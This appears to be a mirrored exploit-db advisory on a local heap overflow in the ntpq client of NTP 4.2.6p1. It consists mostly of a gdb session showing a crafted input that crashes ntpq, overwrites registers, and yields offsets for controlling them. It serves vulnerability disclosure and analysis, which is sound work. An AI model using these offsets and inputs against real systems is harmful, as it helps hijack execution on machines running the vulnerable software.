Linux NTP query client 4.2.6p1 – Heap Overflow

  • 作者: mr_me
    日期: 2011-03-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16960/
  • Linux NTP query client v4.2.6p1 Heap Overflow vulnerability
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    vendor: http://www.ntp.org/
    software: http://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.6p1.tar.gz
    impact: minor/informational
    
    There is a local heap overflow in the ntpq utility client that comes packaged in ntp-4.2.6p1-2.fc13. 
    Note: The binary is NOT suid/guid enabled on my system. 
    Nonetheless, it provides some fun/interesting analysis.
    
    mr_me@pluto ~]$ yum list installed | grep ntp
    fontpackages-filesystem.noarch 1.44-1.fc13 @updates 
    ntp.i686 4.2.6p1-2.fc13@updates 
    ntpdate.i686 4.2.6p1-2.fc13@updates 
    
    [mr_me@pluto ~]$ /usr/sbin/ntpq --version
    ntpq - standard NTP query program - Ver. 4.2.6p1
    
    [mr_me@pluto ~]$ gdb /usr/sbin/ntpq 
    GNU gdb (GDB) Fedora (7.1-34.fc13)
    Copyright (C) 2010 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "i686-redhat-linux-gnu".
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>...
    Reading symbols from /usr/sbin/ntpq...(no debugging symbols found)...done.
    Missing separate debuginfos, use: debuginfo-install ntp-4.2.6p1-2.fc13.i686
    
    (gdb) r
    Starting program: /usr/sbin/ntpq 
    [Thread debugging using libthread_db enabled]
    ntpq> AAAA {0x4ac} AAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..
    ***Command `AAAA {0x4ac} AAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.. 'unknown
    
    Program received signal SIGSEGV, Segmentation fault.
    0xb7fab60d in el_gets () from /usr/lib/libedit.so.0
    
    (gdb) i r
    eax0xbffff32c	-1073745108
    ecx0x0	0
    edx0x42424242	1111638594	< ---- full control
    ebx0xb7fc5ac0	-1208198464
    esp0xbffff260	0xbffff260
    ebp0xbffff2c8	0xbffff2c8
    esi0x43434343	1128481603	< ---- full control
    edi0xbffff32c	-1073745108
    eip0xb7fab60d	0xb7fab60d <el_gets+45>
    eflags 0x10282	[ SF IF RF ]
    cs 0x73	115
    ss 0x7b	123
    ds 0x7b	123
    es 0x7b	123
    fs 0x0	0
    gs 0x33	51
    
    pointers are everywhere, look @ esp, esp+0x4 and esp+0x10 we can see a pointers 
    to some controllable memory:
    
    (gdb) x/5x $esp
    0xbffff260:	0x0015b948	0x0015b948	0xbffff2c8	0x0012bd06
    0xbffff270:	0x0015b948
    
    (gdb) x/30x 0x0015b948
    0x15b948:	0x41414141	0x41414141	0x41414141	0x41414141
    0x15b958:	0x41414141	0x41414141	0x41414141	0x41414141
    0x15b968:	0x41414141	0x41414141	0x41414141	0x41414141
    0x15b978:	0x41414141	0x41414141	0x41414141	0x41414141
    0x15b988:	0x41414141	0x41414141	0x41414141	0x41414141
    0x15b998:	0x41414141	0x41414141	0x41414141	0x41414141
    0x15b9a8:	0x41414141	0x41414141	0x41414141	0x41414141
    0x15b9b8:	0x41414141	0x41414141
    
    (gdb) bt
    #00xb7fab60d in el_gets () from /usr/lib/libedit.so.0
    #10x0012c7b0 in ?? ()
    #20x001196a3 in ?? ()
    #30x0011978c in main ()
    
    (gdb) disas 0xb7fab60d
    Dump of assembler code for function el_gets:
     0xb7fab5e0 <+0>:	push %ebp
     0xb7fab5e1 <+1>:	mov%esp,%ebp
     0xb7fab5e3 <+3>:	push %edi
     0xb7fab5e4 <+4>:	push %esi
     0xb7fab5e5 <+5>:	lea-0x20(%ebp),%eax
     0xb7fab5e8 <+8>:	push %ebx
     0xb7fab5e9 <+9>:	call 0xb7fa5469
     0xb7fab5ee <+14>:	add$0x1a4d2,%ebx
     0xb7fab5f4 <+20>:	lea-0x5c(%esp),%esp
     0xb7fab5f8 <+24>:	mov0xc(%ebp),%edi
     0xb7fab5fb <+27>:	test %edi,%edi
     0xb7fab5fd <+29>:	mov0x8(%ebp),%esi
     0xb7fab600 <+32>:	cmovne 0xc(%ebp),%eax
     0xb7fab604 <+36>:	mov%eax,0xc(%ebp)
     0xb7fab607 <+39>:	movl $0x0,(%eax)
    => 0xb7fab60d <+45>:	mov0x14(%esi),%eax
     0xb7fab610 <+48>:	test $0x2,%al
     0xb7fab612 <+50>:	je 0xb7fab6b0 <el_gets+208>
     0xb7fab618 <+56>:	mov0x30(%esi),%edi
     0xb7fab61b <+59>:	mov%edi,0x4(%esp)
     0xb7fab61f <+63>:	mov%esi,(%esp)
     0xb7fab622 <+66>:	call *0x324(%esi)
     0xb7fab628 <+72>:	cmp$0x1,%eax
     0xb7fab62b <+75>:	mov%eax,%ecx
     0xb7fab62d <+77>:	jne0xb7faba50 <el_gets+1136>
     0xb7fab633 <+83>:	lea0x1(%edi),%edx
     0xb7fab636 <+86>:	cmp0x3c(%esi),%edx
     0xb7fab639 <+89>:	jae0xb7fab680 <el_gets+160>
     0xb7fab63b <+91>:	mov%edi,%eax
     0xb7fab63d <+93>:	mov%edx,%edi
     0xb7fab63f <+95>:	testb$0x8,0x14(%esi)
     0xb7fab643 <+99>:	jne0xb7fab650 <el_gets+112>
     0xb7fab645 <+101>:	movzbl (%eax),%eax
     0xb7fab648 <+104>:	cmp$0xa,%al
     0xb7fab64a <+106>:	je 0xb7fab650 <el_gets+112>
     0xb7fab64c <+108>:	cmp$0xd,%al
    ---Type <return> to continue, or q <return> to quit---
    
    The code access violates at 'mov eax, dword ptr [%esi+20]'. A this point, the EAX register can be controlled
    by setting a valid rw memory address into ESI+20. This will trigger a deference @ 0xb7fab60d and the value 
    of whatever is contained within ESI+20 will written to EAX. The offset to controlling EDX is 1204 bytes 
    and the offset to ESI is 1212 bytes.
    
    In summary, it is likley that the execution flow can be redirected to desired shellcode.
    
    ~ mr_me